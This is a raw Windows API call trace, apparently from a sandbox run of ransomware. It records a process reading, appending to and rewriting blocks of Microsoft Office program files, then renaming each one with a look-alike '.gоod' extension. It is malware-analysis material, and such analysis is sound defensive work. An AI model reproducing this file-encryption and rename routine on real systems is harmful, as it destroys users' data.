[0156.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.exe.gоod")) returned 1 [0156.809] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB", lpFilePart=0x0) returned 0x39 [0156.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0156.809] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.tlb"), fInfoLevelId=0x0, lpFileInformation=0x3441d40 | out: lpFileInformation=0x3441d40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c9b60b5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x41874)) returned 1 [0156.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0156.809] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB", lpFilePart=0x0) returned 0x39 [0156.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.810] GetFileType (hFile=0x650) returned 0x1 [0156.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.810] GetFileType (hFile=0x650) returned 0x1 [0156.810] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0156.810] ReadFile (in: hFile=0x650, lpBuffer=0x3442118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3442118*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0157.126] CloseHandle (hObject=0x650) returned 1 [0157.127] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB", lpFilePart=0x0) returned 0x39 [0157.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0157.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0157.128] GetFileType (hFile=0x650) returned 0x1 [0157.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0157.128] GetFileType (hFile=0x650) returned 0x1 [0157.128] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x41874 [0157.128] WriteFile (in: hFile=0x650, lpBuffer=0x3565850*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3565850*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0157.325] CloseHandle (hObject=0x650) returned 1 [0157.325] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB", lpFilePart=0x0) returned 0x39 [0157.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0157.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0157.325] GetFileType (hFile=0x650) returned 0x1 [0157.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0157.325] GetFileType (hFile=0x650) returned 0x1 [0157.326] ReadFile (in: hFile=0x650, lpBuffer=0x34d0720, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d0720*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0157.366] CloseHandle (hObject=0x650) returned 1 [0157.366] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB", lpFilePart=0x0) returned 0x39 [0157.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0157.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0157.366] GetFileType (hFile=0x650) returned 0x1 [0157.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0157.366] GetFileType (hFile=0x650) returned 0x1 [0157.366] WriteFile (in: hFile=0x650, lpBuffer=0x34cf498*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x34cf498*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0157.367] CloseHandle (hObject=0x650) returned 1 [0157.367] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB", lpFilePart=0x0) returned 0x39 [0157.367] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB.gоod", lpFilePart=0x0) returned 0x3e [0157.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0157.367] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.tlb"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5a033599, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x41884)) returned 1 [0157.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0157.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.tlb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.TLB.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.tlb.gоod")) returned 1 [0157.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x50 [0157.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0157.368] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x35857c8 | out: lpFileInformation=0x35857c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c66ecc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x152)) returned 1 [0157.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0157.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x50 [0157.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0157.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.visualelementsmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0157.369] GetFileType (hFile=0x650) returned 0x1 [0157.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0157.369] GetFileType (hFile=0x650) returned 0x1 [0157.369] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x152 [0157.369] ReadFile (in: hFile=0x650, lpBuffer=0x3585c48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x3585c48*, lpNumberOfBytesRead=0x1f59e768*=0x152, lpOverlapped=0x0) returned 1 [0157.370] CloseHandle (hObject=0x650) returned 1 [0157.503] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x50 [0157.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0157.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.visualelementsmanifest.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0157.504] GetFileType (hFile=0x7f8) returned 0x1 [0157.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0157.504] GetFileType (hFile=0x7f8) returned 0x1 [0157.504] WriteFile (in: hFile=0x7f8, lpBuffer=0x347b3d0*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x347b3d0*, lpNumberOfBytesWritten=0x1f59e678*=0x160, lpOverlapped=0x0) returned 1 [0157.505] CloseHandle (hObject=0x7f8) returned 1 [0157.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x50 [0157.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml.gоod", lpFilePart=0x0) returned 0x55 [0157.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0157.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5a18a82e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0157.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0157.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.visualelementsmanifest.xml.gоod")) returned 1 [0157.516] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE", lpFilePart=0x0) returned 0x3b [0157.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0157.516] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msqry32.exe"), fInfoLevelId=0x0, lpFileInformation=0x347c6a8 | out: lpFileInformation=0x347c6a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1c8beb8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee37a832, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef39274d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcea40)) returned 1 [0157.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0157.517] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE", lpFilePart=0x0) returned 0x3b [0157.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0157.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msqry32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0157.517] GetFileType (hFile=0x7f8) returned 0x1 [0157.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0157.517] GetFileType (hFile=0x7f8) returned 0x1 [0157.517] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0157.517] ReadFile (in: hFile=0x7f8, lpBuffer=0x348b430, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x348b430*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0158.487] CloseHandle (hObject=0x7f8) returned 1 [0158.487] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE", lpFilePart=0x0) returned 0x3b [0158.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0158.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msqry32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0158.487] GetFileType (hFile=0x7f8) returned 0x1 [0158.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0158.487] GetFileType (hFile=0x7f8) returned 0x1 [0158.487] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xcea40 [0158.487] WriteFile (in: hFile=0x7f8, lpBuffer=0x35c32a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x35c32a8*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0158.488] CloseHandle (hObject=0x7f8) returned 1 [0158.488] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE", lpFilePart=0x0) returned 0x3b [0158.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0158.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msqry32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0158.489] GetFileType (hFile=0x7f8) returned 0x1 [0158.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0158.489] GetFileType (hFile=0x7f8) returned 0x1 [0158.489] ReadFile (in: hFile=0x7f8, lpBuffer=0x35c5548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x35c5548*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0158.560] CloseHandle (hObject=0x7f8) returned 1 [0158.560] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE", lpFilePart=0x0) returned 0x3b [0158.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0158.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msqry32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0158.561] GetFileType (hFile=0x7f8) returned 0x1 [0158.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0158.561] GetFileType (hFile=0x7f8) returned 0x1 [0158.561] WriteFile (in: hFile=0x7f8, lpBuffer=0x34252e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x34252e8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0158.561] CloseHandle (hObject=0x7f8) returned 1 [0158.561] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE", lpFilePart=0x0) returned 0x3b [0158.561] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE.gоod", lpFilePart=0x0) returned 0x40 [0158.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0158.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msqry32.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1c8beb8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee37a832, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5ab8681d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcea50)) returned 1 [0158.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0158.561] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msqry32.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSQRY32.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msqry32.exe.gоod")) returned 1 [0158.562] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC", lpFilePart=0x0) returned 0x39 [0158.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0158.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mszip.dic"), fInfoLevelId=0x0, lpFileInformation=0x343e708 | out: lpFileInformation=0x343e708*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb013b61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x462700)) returned 1 [0158.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0158.563] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC", lpFilePart=0x0) returned 0x39 [0158.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0158.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mszip.dic"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0158.563] GetFileType (hFile=0x7f8) returned 0x1 [0158.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0158.563] GetFileType (hFile=0x7f8) returned 0x1 [0158.563] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0158.564] ReadFile (in: hFile=0x7f8, lpBuffer=0x343eae0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x343eae0*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0158.566] CloseHandle (hObject=0x7f8) returned 1 [0158.566] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC", lpFilePart=0x0) returned 0x39 [0158.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0158.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mszip.dic"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0158.566] GetFileType (hFile=0x7f8) returned 0x1 [0158.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0158.566] GetFileType (hFile=0x7f8) returned 0x1 [0158.566] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x462700 [0158.566] WriteFile (in: hFile=0x7f8, lpBuffer=0x343fd58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x343fd58*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0158.568] CloseHandle (hObject=0x7f8) returned 1 [0158.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC", lpFilePart=0x0) returned 0x39 [0158.568] SetThreadErrorMode (dwNewMode=0x1, 